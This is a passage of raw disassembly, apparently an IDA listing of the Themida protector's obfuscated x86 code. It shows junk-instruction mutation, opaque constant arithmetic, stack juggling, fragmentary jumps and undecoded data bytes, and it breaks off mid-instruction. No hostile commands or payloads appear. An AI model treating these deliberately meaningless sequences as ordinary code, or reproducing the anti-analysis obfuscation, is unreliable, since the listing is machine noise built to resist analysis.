loc_591FF5 ; --------------------------------------------------------------------------- loc_58D612: ; CODE XREF: Themida_:00597CCEj shl esi, 2 jnp loc_58FB23 sub esi, 32A79037h mov eax, esi pop esi dec eax jl loc_58DBDF jmp loc_594A3E ; --------------------------------------------------------------------------- loc_58D630: ; CODE XREF: Themida_:0059586Ej add eax, edi jmp loc_595529 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D642: ; CODE XREF: Themida_:00591210j add ah, 3Bh or cl, ah mov eax, [esp] add esp, 4 add cl, 37h sub bl, cl jmp loc_593765 ; --------------------------------------------------------------------------- dw 555Dh dd 0FFEF35E9h, 3E0C1FFh, 0C2685657h, 0E91AA654h, 3B86h dd 2BF6C281h, 0D5315659h, 34EB815Ah, 2904B522h, 8A07E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D686: ; CODE XREF: Themida_:005903B5j mov esi, 24102F2Fh neg esi xor esi, 40C25178h or esi, 2D1215A0h jno loc_5909F0 shl esi, 5 jmp loc_58E495 ; --------------------------------------------------------------------------- db 4Dh dd 0FF8FE380h, 34FF2434h, 0EC835824h, 240C8904h, 7E3168h dd 24248900h, 4ACFE9h db 0 ; --------------------------------------------------------------------------- loc_58D6C5: ; CODE XREF: Themida_:loc_597CF6j xor ebp, 347A4849h jno loc_593C0E sub ebp, 4291057Dh mov bh, bh or al, 0AAh add [esp+4], ebp push dword ptr [esp] pop ebp jmp loc_58E980 ; --------------------------------------------------------------------------- loc_58D6E8: ; CODE XREF: Themida_:0059616Ej add esp, 4 pop ecx loc_58D6EF: ; CODE XREF: Themida_:0058A33Aj push 6413h mov [esp], ecx push eax mov eax, 14105794h inc eax shr eax, 1 not eax push ebp jmp loc_5973F1 ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC8356h, 81242489h, 42404h, 815E0000h, 4C6h dd 7E536800h, 1C890000h, 15F7BB24h, 0EBC139ACh, 2E3C103h dd 4786E9h db 0 ; --------------------------------------------------------------------------- loc_58D739: ; CODE XREF: Themida_:0058B3D9j xor eax, 21421DB3h add [esp+4], eax mov eax, [esp] add esp, 4 mov eax, [esp] add esp, 4 add eax, 4 push edx mov edx, 2 add eax, 2A2A0168h sub eax, edx sub eax, 2A2A0168h mov edx, [esp] jmp loc_58F293 ; --------------------------------------------------------------------------- loc_58D770: ; CODE XREF: Themida_:0058CBC0j ; Themida_:0058D541j not al jmp loc_58B4BB ; --------------------------------------------------------------------------- loc_58D777: ; CODE XREF: Themida_:00596732j add ebp, esi push eax mov eax, 4C593841h neg eax dec eax inc eax jmp loc_59674C ; --------------------------------------------------------------------------- dd 8702C083h, 248B2404h, 0C8B6624h, 32516824h, 1C890000h dd 50E38924h, 747F12B8h, 1816051Ah, 200D56A5h, 55756032h dd 33313BBDh, 0F0BA5226h, 81074B55h, 0FD49C1EAh, 0E9D521E1h dd 9BFEh, 48E6EF81h, 0DFF7320Ch, 0DFF7DFF7h, 238DC781h dd 0FA89D31Dh, 14D5E9h, 24448100h, 0EE53C804h, 9AE95B6Dh db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58D7EF: ; CODE XREF: Themida_:0058C04Bj add dl, 93h and al, dl pop edx sub al, 0Fh add bl, 0C9h add bl, al sub bl, 0C9h jmp loc_5914E9 ; --------------------------------------------------------------------------- dd 4C181h, 8A680000h, 8900007Eh, 0E956242Ch, 54F0h, 241CF766h dd 0C73E99Ch, 0C1830000h, 240C8702h, 6624248Bh, 9C240CD3h dd 1790E9h, 5C315F00h, 8B5B0424h, 0C4812404h, 4, 4EC81h dd 2C890000h, 695FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D852: ; CODE XREF: Themida_:0059208Cj ; Themida_:00595F8Dj mov edi, 4C76708Ah jmp loc_5942E3 ; --------------------------------------------------------------------------- loc_58D85C: ; CODE XREF: Themida_:0058DC44j shl ah, 2 or ah, 0FEh inc ah jmp loc_58A58E ; --------------------------------------------------------------------------- loc_58D869: ; CODE XREF: Themida_:0059592Fj add ecx, 0F38ABCCFh add ebp, 24C13372h jmp loc_593157 ; --------------------------------------------------------------------------- dw 0C87h aSP db '$\ιΤ',0 db 0 ; --------------------------------------------------------------------------- loc_58D883: ; CODE XREF: Themida_:00597DB7j or edi, 6FA162E0h sub edi, 0D04526Dh jmp loc_59405C ; --------------------------------------------------------------------------- loc_58D894: ; CODE XREF: Themida_:005903C2j mov ebx, 60550EF9h jmp loc_58B549 ; --------------------------------------------------------------------------- dw 0E589h dd 8519E9h, 58C23100h, 875AD301h, 835C241Ch, 29E904C4h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58D8B7: ; CODE XREF: Themida_:0058AC28j sub bl, 0D5h push cx mov cl, 6Ch jmp loc_58F6B1 ; --------------------------------------------------------------------------- db 89h dd 875758C7h, 0D3F7241Ch, 5F241C87h, 69C6E9h db 0 ; --------------------------------------------------------------------------- loc_58D8D5: ; CODE XREF: Themida_:0058D367j sub ebp, 2B8E2343h not ebp push eax push edi mov edi, 5196398Ch jmp loc_593663 ; --------------------------------------------------------------------------- loc_58D8E9: ; CODE XREF: Themida_:00594D66j pop esp test cl, al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0DA68h dd 0E900003Dh, 6E98h ; --------------------------------------------------------------------------- loc_58D8FC: ; CODE XREF: Themida_:0058D0D3j add esp, 4 push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx mov ebx, esp push edx mov edx, 8A95E47h jmp loc_58E4EB ; --------------------------------------------------------------------------- loc_58D919: ; CODE XREF: Themida_:0058AA01j ; Themida_:0058AFDDj sub bl, 7Eh add bl, 75h sub bl, 0F9h add al, bl pop ebx pop ebx jmp loc_58CA87 ; --------------------------------------------------------------------------- loc_58D92B: ; CODE XREF: Themida_:005941E8j pop edx jmp loc_58C336 ; --------------------------------------------------------------------------- loc_58D931: ; CODE XREF: Themida_:00595162j push dword ptr [esp] jmp loc_5944BC ; --------------------------------------------------------------------------- db 0BDh, 70h, 5 dd 0E5C1581Ah, 32B8E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D946: ; CODE XREF: Themida_:0058B14Fj shl eax, 3 jmp loc_59238D ; --------------------------------------------------------------------------- loc_58D94E: ; CODE XREF: Themida_:00593450j shr edx, 2 and edx, 6E0275E6h jle loc_59368D push esi mov esi, 103853A5h neg esi xor esi, 3FA426FFh sub esi, 4A13137Ch jmp loc_593064 ; --------------------------------------------------------------------------- dw 0C181h dd 0B1921A9Eh, 0E959CF01h, 3327h, 15BDA89h, 2CA3E9D0h dd 0EBC10000h, 84D1E905h, 0E9520000h, 5060h ; --------------------------------------------------------------------------- loc_58D99C: ; CODE XREF: Themida_:0058FA40j push ebp push 27302C7Ah pop ebp jmp loc_58DCC8 ; --------------------------------------------------------------------------- dd 4CF8ED81h, 0DD015677h, 55E6E9h, 815A5400h, 4C2h, 4685300h dd 0E9000000h, 0D7h ; --------------------------------------------------------------------------- loc_58D9C8: ; CODE XREF: Themida_:0058C4F3j sub ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], dx jmp loc_595746 ; --------------------------------------------------------------------------- aVBMfz db 'VΎ(&B,Ίmδ',0 aSB db 'ι$',0 align 10h loc_58D9F0: ; CODE XREF: Themida_:00591775j xor edx, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_591613 ; --------------------------------------------------------------------------- dw 1489h dd 7BF4BA24h, 0F28138A5h, 350446F3h, 2414F752h, 8C1E9h db 0 ; --------------------------------------------------------------------------- loc_58DA19: ; CODE XREF: Themida_:0058CB5Dj pop dword ptr [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58DA2D: ; CODE XREF: Themida_:00596754j sub eax, 0C3F6E80Eh add ebp, eax pop eax pop esi jmp loc_596786 ; --------------------------------------------------------------------------- loc_58DA3B: ; CODE XREF: Themida_:00596CACj add esp, 4 shr bh, 3 jmp loc_58B37B ; --------------------------------------------------------------------------- db 0ADh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_591FE8 ; --------------------------------------------------------------------------- loc_58DA5E: ; CODE XREF: Themida_:00597235j shr esi, 5 sub esi, 376B4C87h shl esi, 7 shl esi, 1 jmp loc_597716 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4Bh dd 89C94A31h, 0CA815BDAh, 7F884BFFh, 0D104E2C1h, 58F281EAh dd 0E95C1D6Ch, 5055h ; --------------------------------------------------------------------------- loc_58DA90: ; CODE XREF: Themida_:0058B227j sar byte ptr [esp], cl pushf jmp loc_590A2F ; --------------------------------------------------------------------------- loc_58DA99: ; CODE XREF: Themida_:00591CF7j pop edi jmp loc_59547B ; --------------------------------------------------------------------------- loc_58DA9F: ; CODE XREF: Themida_:loc_58B72Cj pop ebx add edx, ebx pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 17FBh mov [esp], ecx push esi mov esi, 23522C9Dh xchg ebp, esi xchg esi, ebp push esi not dword ptr [esp] jmp loc_58BF3F ; --------------------------------------------------------------------------- loc_58DAC8: ; CODE XREF: Themida_:0059058Dj pop eax mov ebp, [esp] add esp, 4 push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push esi mov esi, 100h mov ebp, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_594127 ; --------------------------------------------------------------------------- db 0F6h, 0D5h, 50h dd 0C4809DB4h, 0F44DE9C6h, 0F181FFFFh, 1FA82FFAh, 8101C183h dd 396A6AF1h, 8BCB895Ah, 0C481240Ch, 4, 7C9EE9h, 240C8B00h dd 0A0EAE9h db 0 ; --------------------------------------------------------------------------- loc_58DB4D: ; CODE XREF: Themida_:0058F425j ; Themida_:0058FE6Cj add esi, 78317A10h xchg ebp, esi not ebp xchg ebp, esi jmp loc_590467 ; --------------------------------------------------------------------------- aUsM db 'Uι{m',0 align 4 loc_58DB64: ; CODE XREF: Themida_:0058E516j or ch, 9Dh jmp loc_58BD94 ; --------------------------------------------------------------------------- loc_58DB6C: ; CODE XREF: Themida_:00590B99j xchg edi, [esp] pop esp jmp loc_58D05B ; --------------------------------------------------------------------------- loc_58DB75: ; CODE XREF: Themida_:loc_58F831j or edx, 62D86549h push edi jmp loc_596124 ; --------------------------------------------------------------------------- loc_58DB81: ; CODE XREF: Themida_:0058B1BAj push dword ptr [esp] jmp loc_590D7F ; --------------------------------------------------------------------------- db 0E9h, 51h, 7Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58DB8E: ; CODE XREF: Themida_:00597829j mov esi, 4 push ebp mov ebp, 58ED49F9h inc ebp inc ebp add ebp, 15501BE4h jmp loc_5954FD ; --------------------------------------------------------------------------- loc_58DBA6: ; CODE XREF: Themida_:00593768j add esp, 4 add bl, 69h movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_58D0E0 ; --------------------------------------------------------------------------- loc_58DBC4: ; CODE XREF: Themida_:0058CC6Fj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ecx, 0 jmp loc_591800 ; --------------------------------------------------------------------------- loc_58DBDF: ; CODE XREF: Themida_:0058D625j jmp loc_58C5E0 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 2E981h, 0C870000h, 89665C24h, 0B966240Ch dd 3166718Dh, 0C8B66CFh, 0E2895224h, 4C281h, 0C2810000h dd 2, 0A406E9h db 0 ; --------------------------------------------------------------------------- loc_58DC19: ; CODE XREF: Themida_:0058D0ECj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58F277 ; --------------------------------------------------------------------------- loc_58DC29: ; CODE XREF: Themida_:0058FC8Ej mov edx, 0F94A89D4h add edx, edi pop edi jmp loc_590D93 ; --------------------------------------------------------------------------- loc_58DC36: ; CODE XREF: Themida_:005958F2j add cl, 6Eh xor dh, cl pop ecx mov ah, dh pop edx dec ah or ah, 0DAh jmp loc_58D85C ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28300h, 8B241487h, 0F0002424h, 24148B66h, 3002C483h dd 0C0B60FC3h, 818734FFh, 5C3F242Ch, 34FF4440h, 11D2E924h dd 0F470000h, 9C0684h, 32E95300h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DC87: ; CODE XREF: Themida_:0058F7DDj add edx, 0A4B796FBh mov edi, edx pop edx sub ebp, edi jmp loc_593000 ; --------------------------------------------------------------------------- loc_58DC97: ; CODE XREF: Themida_:0058D4BEj add ebx, 2E3970AFh push dword ptr [esp] mov ecx, [esp] jmp loc_58BA80 ; --------------------------------------------------------------------------- dd 0D30001B2h, 5A2434FFh, 14E5E9h, 4EC8100h, 0E9000000h dd 31A4h ; --------------------------------------------------------------------------- loc_58DCC0: ; CODE XREF: Themida_:00595729j pop ebp xor edx, ecx jmp loc_596BBC ; --------------------------------------------------------------------------- loc_58DCC8: ; CODE XREF: Themida_:0058D9A3j push 0A52h mov [esp], ebx jmp loc_58EB80 ; --------------------------------------------------------------------------- db 81h, 0EBh, 3Ah dd 0E9CF1CFBh, 0FFFFED01h ; --------------------------------------------------------------------------- loc_58DCE0: ; CODE XREF: Themida_:00590E57j push esi pop eax jmp loc_5960D9 ; --------------------------------------------------------------------------- loc_58DCE7: ; CODE XREF: Themida_:00596F12j sub edx, 839639D8h jmp loc_58E321 ; --------------------------------------------------------------------------- aBxP db 'ε½',0Ah db '',0 aEpspw db 'EPιPw',0 dw 5A00h dd 3304EB83h, 9DE9241Ch, 83000099h, 48704C0h, 0C5DDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DD16: ; CODE XREF: Themida_:00590053j pop eax add esp, 4 sub esp, 4 mov [esp], esi mov esi, 77052F73h or esi, 58910AC7h not esi shl esi, 6 jnp loc_597EAB xor esi, 55980443h add eax, esi jmp loc_58F7FE ; --------------------------------------------------------------------------- dw 880Fh dd 0FFFFDF4Eh, 7998E9h db 0 ; --------------------------------------------------------------------------- loc_58DD51: ; CODE XREF: Themida_:0058D56Fj shl bl, 1 jns loc_58BE32 sub bl, 8 mov ch, bl jmp loc_594A46 ; --------------------------------------------------------------------------- db 80h db 0E6h, 0D1h ; --------------------------------------------------------------------------- loc_58DD66: ; CODE XREF: Themida_:00592978j and ebp, 48284B69h jmp loc_596109 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324148Bh, 746804C4h, 89000003h, 0E189240Ch, 4BD55h dd 0E9010000h, 4BB535Dh, 570D413Dh, 0FFF4B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DD99: ; CODE XREF: Themida_:0058E729j pop edi pop esi jmp loc_58F784 ; --------------------------------------------------------------------------- dd 4C481h, 71E90000h, 81000000h, 4C4h, 4C68300h, 0E9243487h dd 5E09h ; --------------------------------------------------------------------------- loc_58DDBC: ; CODE XREF: Themida_:0059326Ej jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58DDC1: ; CODE XREF: Themida_:00591F8Bj push edi mov edi, 4 jmp loc_58C717 ; --------------------------------------------------------------------------- loc_58DDCC: ; CODE XREF: Themida_:0058CDD9j push dword ptr [esp+4] jmp loc_592845 ; --------------------------------------------------------------------------- loc_58DDD5: ; CODE XREF: Themida_:00592C4Cj add dword ptr [esp], 735F566Dh mov ebx, [esp] push edx mov edx, esp push esi jmp loc_58C28C ; --------------------------------------------------------------------------- dd 6F37F681h, 8A0F0D06h, 1489h, 8B0FEED1h, 69E0h, 0CB8BD689h dd 40ADE981h, 890F7827h, 67C4h, 8103E9C1h, 0B0A706F1h dd 0E9C88939h, 0FFFFE48Ch, 880FDBF7h, 66A4h, 6667E9h, 48B6600h dd 4EA76824h, 81550000h, 0AB0E09C7h, 0C9F7815Ch, 8184EB42h dd 41586BC3h, 81FB016Fh, 41586BEBh, 2AE95F6Fh, 40000064h dd 6299840Fh, 0C2E90000h, 8B00003Fh, 67E92424h, 0C1FFFFC4h dd 0D6F703EEh, 4E85E9h db 0 ; --------------------------------------------------------------------------- loc_58DE71: ; CODE XREF: Themida_:0059672Cj neg ebp add ebp, 0A595056h xor ebp, 2401E45h xor ebp, 8A1D3027h add edx, ebp jmp loc_5945A6 ; --------------------------------------------------------------------------- loc_58DE8C: ; CODE XREF: Themida_:005937CAj push esi jmp loc_591162 ; --------------------------------------------------------------------------- dw 0B435h dd 0C17607DFh, 0BEE904E8h, 0BE00008Fh, 4E185CBDh, 6B06E9h dd 0F6E95500h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DEAF: ; CODE XREF: Themida_:0059531Dj mov dh, bl pop ebx pop eax sub esp, 2 jmp loc_5912E1 ; --------------------------------------------------------------------------- loc_58DEBB: ; CODE XREF: Themida_:00590B6Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 4 jmp loc_5969EA ; --------------------------------------------------------------------------- loc_58DED8: ; CODE XREF: Themida_:00597E4Dj jnz loc_593E3F jmp loc_58E5FA ; --------------------------------------------------------------------------- db 5Ah dd 24348155h, 64F20A58h db 5Bh ; --------------------------------------------------------------------------- loc_58DEED: ; CODE XREF: Themida_:0058BB4Ej xchg eax, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 jmp loc_58B2FC ; --------------------------------------------------------------------------- db 0E9h, 9Ah, 24h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58DF06: ; CODE XREF: Themida_:0058E3F5j pop edx jmp loc_58E132 ; --------------------------------------------------------------------------- loc_58DF0C: ; CODE XREF: Themida_:005910F9j sub edx, ecx pop ecx xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 7D2928DAh jmp loc_596B2F ; --------------------------------------------------------------------------- loc_58DF20: ; CODE XREF: Themida_:00596148j xchg edi, [esp] jmp loc_58CEB1 ; --------------------------------------------------------------------------- aNwMt@bLkaSxx db 'WΏΨmt@ΗLͺήιX',0 align 2 loc_58DF3A: ; CODE XREF: Themida_:00593294j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_59502C ; --------------------------------------------------------------------------- loc_58DF4E: ; CODE XREF: Themida_:0058C20Bj add esi, 0C53D106Ah sub ebx, esi jmp loc_58B6C0 ; --------------------------------------------------------------------------- loc_58DF5B: ; CODE XREF: Themida_:0058E117j push 0FE1h mov [esp], esi sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esi jmp loc_596D04 ; --------------------------------------------------------------------------- db 0B7h dd 5BFC30B0h, 8058E300h, 8C0FF2F3h, 3247h, 5002B551h, 0D0F6E888h dd 6658C588h, 85BE5653h, 0E934187Eh, 7A85h ; --------------------------------------------------------------------------- loc_58DFA0: ; CODE XREF: Themida_:0058ABEEj pop edx and [edi+1Ch], ecx push dword ptr [esp] jmp loc_590497 ; --------------------------------------------------------------------------- loc_58DFAC: ; CODE XREF: Themida_:0058C68Dj pop ecx jmp loc_594868 ; --------------------------------------------------------------------------- loc_58DFB2: ; CODE XREF: Themida_:00593920j mov [esp], edi sub esp, 4 jmp loc_58EF99 ; --------------------------------------------------------------------------- loc_58DFBD: ; CODE XREF: Themida_:005946D0j jmp loc_58E3B4 ; --------------------------------------------------------------------------- loc_58DFC2: ; CODE XREF: Themida_:0059711Ej neg dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_591B8F ; --------------------------------------------------------------------------- dd 0FFC2F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DFD5: ; CODE XREF: Themida_:0058E51Fj add ch, 0BBh sub bl, ch jmp loc_58C360 ; --------------------------------------------------------------------------- loc_58DFDF: ; CODE XREF: Themida_:00594A2Fj mov esp, [esp] sub [esp], ax pushf jmp loc_58E8A5 ; --------------------------------------------------------------------------- dd 5B5AD601h, 0FFC3B4E9h, 0C18159FFh, 4, 6804C183h, 399Eh dd 0FF240C89h, 8B042474h, 0C481240Ch, 4, 8DA2E9h db 0 ; --------------------------------------------------------------------------- loc_58E019: ; CODE XREF: Themida_:00592045j sub ecx, 0BB2A04F5h push ecx add dword ptr [esp], 6DD019Bh jmp loc_58C41D ; --------------------------------------------------------------------------- dd 0F05EBC1h, 699E88h, 0B7F38100h, 835471A2h, 148904ECh dd 1C07BA24h, 0BB536815h, 23CD6306h, 93F3814Bh, 0E9706900h dd 19EDh, 813C77FFh, 23F9242Ch, 34FF542Fh, 89515824h, 5943E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E06E: ; CODE XREF: Themida_:0058B416j pop ebp add esp, 4 jmp loc_592127 ; --------------------------------------------------------------------------- loc_58E077: ; CODE XREF: Themida_:00595E4Dj xor al, bh mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax mov al, 0Bh add al, 5Eh sub bl, al pop eax push dx push ebx mov bh, 0EBh mov dh, 0C3h add dh, bh pop ebx add bl, dh jmp loc_58F79C ; --------------------------------------------------------------------------- dd 7A74BE56h, 0F6811E9Eh, 1E9E7A70h, 835EF001h, 0FF5004C0h dd 0E9042474h, 4CABh ; --------------------------------------------------------------------------- loc_58E0C4: ; CODE XREF: Themida_:00595FEBj push ebx push esp jmp loc_5972BC ; --------------------------------------------------------------------------- loc_58E0CB: ; CODE XREF: Themida_:0058E629j or edi, 54A513FBh push edx mov edx, 7E6AFFACh add edi, edx pop edx push edi jmp loc_58EDF3 ; --------------------------------------------------------------------------- loc_58E0E0: ; CODE XREF: Themida_:0058EC14j sub ebp, 87475084h jmp loc_59094E ; --------------------------------------------------------------------------- aSwo db '[ιW',0 db 0 ; --------------------------------------------------------------------------- loc_58E0F1: ; CODE XREF: Themida_:00591892j pop edi add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp xor edx, edx jmp loc_59391B ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240418h, 0FFC1B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_58E115: ; CODE XREF: Themida_:00593BF6j pop eax std jmp loc_58DF5B ; --------------------------------------------------------------------------- loc_58E11C: ; CODE XREF: Themida_:0058A7F4j sub eax, 309F7A81h jmp loc_58C927 ; --------------------------------------------------------------------------- dw 0E7D0h dd 0FE0FC780h, 5ECE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E132: ; CODE XREF: Themida_:0058DF07j shl ebx, 6 push ebx inc dword ptr [esp] pop ebx push esi mov esi, 0AB158541h jmp loc_59125D ; --------------------------------------------------------------------------- loc_58E145: ; CODE XREF: Themida_:0058CAFBj xchg edx, [esp] jmp loc_58C1D7 ; --------------------------------------------------------------------------- db 80h, 0F4h, 41h dd 8658E288h, 0E9D3F6DAh, 4DECh, 0BB241C89h, 79C86DCDh dd 6F6BB951h, 0E1810AA0h, 48921D29h, 1ACFE9h db 0 ; --------------------------------------------------------------------------- loc_58E175: ; CODE XREF: Themida_:00590702j pop dword ptr [esp] mov esp, [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 0E907E5C0h, 9204h, 704D68h, 24348900h, 215AB951h, 0B6BE021Fh dd 815D7DE8h, 551DAC6h, 51CE0129h, 551DAB9h, 59CE2929h dd 3E6C159h, 3C55850Fh, 0F4E0000h, 0FFD4758Ch, 0EEECE9FFh dd 0C681FFFFh, 4C940B83h, 3A3F8C0Fh, 0C6810000h, 0F2886CF2h dd 48BF5756h, 29170224h, 0E904247Ch, 4C5Eh ; --------------------------------------------------------------------------- loc_58E1E4: ; CODE XREF: Themida_:0058C7E8j push edi jmp loc_5905F9 ; --------------------------------------------------------------------------- loc_58E1EA: ; CODE XREF: Themida_:0058F4D4j add esp, 4 and eax, edi pop edi shr eax, 0Bh jmp loc_59709B ; --------------------------------------------------------------------------- db 59h dd 4C181h, 0B0E90000h, 6600004Fh, 2CC3E9ADh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E20E: ; CODE XREF: Themida_:005978A9j add edx, 6F356822h add edx, edi jmp loc_59671A ; --------------------------------------------------------------------------- loc_58E21B: ; CODE XREF: Themida_:0059659Fj pop ebp jmp loc_597E05 ; --------------------------------------------------------------------------- loc_58E221: ; CODE XREF: Themida_:00596118j sub ebx, 0B55CAA96h jmp loc_58C497 ; --------------------------------------------------------------------------- loc_58E22C: ; CODE XREF: Themida_:00597D64j not eax xchg eax, ebp push eax mov eax, 7F114173h and eax, 6C0D6D9Ah xor eax, 0ACA7AF80h xor ebp, eax pop eax add edi, ebp jmp loc_58B6EF ; --------------------------------------------------------------------------- db 5Ah, 4, 19h dd 192CC828h, 0D8285966h, 4EC81h, 5AE90000h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E25F: ; CODE XREF: Themida_:00592CA8j mov edx, 3B017E4Bh sub edx, 3542E84h jl loc_58F57A dec edx jnp loc_58ACB6 dec edx jg loc_59682E push eax mov eax, 5AD52A50h dec eax jmp loc_592FD6 ; --------------------------------------------------------------------------- dw 0EB81h dd 13320A86h, 3131E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E296: ; CODE XREF: Themida_:00597BE4j add esp, 4 sub ebx, 2C7938CFh sub ebx, 14A11A4Eh add ebx, eax add ebx, 14A11A4Eh add ebx, 2C7938CFh pop eax push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp shr ecx, 7 push 6E6Bh mov [esp], edx push eax push 45F3h mov [esp], ebp jmp loc_58BA29 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFC750h, 592434FFh, 4C481h, 0C4830000h, 9058E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E2F2: ; CODE XREF: Themida_:005964B3j sub ecx, 0C40F97E5h or eax, ecx pop ecx jmp loc_59274A ; --------------------------------------------------------------------------- dd 1080E9h, 34895C00h, 2829BE24h, 0E9524D78h, 8FC7h, 6EEDC381h dd 0D929FC22h, 77EAE9h db 0 ; --------------------------------------------------------------------------- loc_58E321: ; CODE XREF: Themida_:0058DCEDj xor ebx, edx pop edx jmp loc_597492 ; --------------------------------------------------------------------------- aQssg db 'Qιg',0 dw 2D00h dd 24AF5079h, 20FF6852h, 87E90000h, 8700005Dh, 87D1F7CDh dd 0C3E581CDh, 513EB95Dh, 875FB0B9h, 4AE1817Fh, 817E0008h dd 74385FE1h, 0F7D1F779h, 0FDC181D1h, 298C1848h, 0E80159CDh dd 4BD555Dh, 0E9000000h, 0FFFFEBC0h ; --------------------------------------------------------------------------- loc_58E378: ; CODE XREF: Themida_:0058B1D0j push 2242h mov [esp], esi mov esi, 1D5649CEh push ecx mov ecx, 51436559h and esi, ecx jmp loc_58EE5F ; --------------------------------------------------------------------------- dw 0F4Fh dd 0FFF8E18Dh, 840F47FFh, 37EFh, 21ECE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E3A6: ; CODE XREF: Themida_:00594EDFj push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_58B1D5 ; --------------------------------------------------------------------------- loc_58E3B4: ; CODE XREF: Themida_:loc_58DFBDj shr ebp, 5 jz loc_59232E neg ebp jg loc_595C0E jmp loc_5933FD ; --------------------------------------------------------------------------- dw 685Eh dd 36F2h, 0BA241489h, 51BE574Ch, 2834E9h db 0 ; --------------------------------------------------------------------------- loc_58E3DD: ; CODE XREF: Themida_:005971B7j mov [esp], esi jmp loc_58BD59 ; --------------------------------------------------------------------------- loc_58E3E5: ; CODE XREF: Themida_:00595253j mov edx, 1 sub ebx, edx pop edx push edx mov edx, 1 sub ebx, edx jmp loc_58DF06 ; --------------------------------------------------------------------------- dw 34FFh dd 0EC815824h, 4, 0E9241C89h, 0FFFFD823h ; --------------------------------------------------------------------------- loc_58E40C: ; CODE XREF: Themida_:0059775Dj add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ecx, edx push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, ecx push dword ptr [esp] pop ecx jmp loc_58C762 ; --------------------------------------------------------------------------- db 0B8h, 4Dh, 78h dd 0D0F77BEEh, 7EBCE9h, 0E9566600h, 0F35h ; --------------------------------------------------------------------------- loc_58E450: ; CODE XREF: Themida_:005912E9j pop ax add dh, 6 jmp loc_58FB86 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 42D0000h, 87000000h, 248B2404h, 24248924h, 4240483h dd 0E9242C8Bh, 0FFFFEC32h ; --------------------------------------------------------------------------- loc_58E47C: ; CODE XREF: Themida_:005961C6j sub bh, 4Ch push ecx mov ch, 41h jmp loc_58D5EE ; --------------------------------------------------------------------------- loc_58E487: ; CODE XREF: Themida_:005961B6j sub dh, 0E1h push ecx mov cl, dh mov bh, cl pop ecx jmp loc_5927CD ; --------------------------------------------------------------------------- loc_58E495: ; CODE XREF: Themida_:0058D6A2j ; Themida_:00593CEFj jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 805Bh dd 0D430D9F2h, 8124148Bh, 4C4h, 0FECC8600h, 0F6CC86C1h dd 90B252DCh, 1D8E9h, 5173BB00h, 0DBF75851h, 7870C381h dd 800F5973h, 842Eh, 5B2FF381h, 8D0F18BCh, 0FFFFFB54h dd 0F05EBC1h, 6DCD88h db 0, 89h, 0D1h ; --------------------------------------------------------------------------- loc_58E4E3: ; CODE XREF: Themida_:005959B9j pop esi push edi pop eax jmp loc_5937A4 ; --------------------------------------------------------------------------- loc_58E4EB: ; CODE XREF: Themida_:0058D914j sub edx, 8A95E43h add ebx, edx pop edx push 477Fh mov [esp], edx push ecx mov ecx, 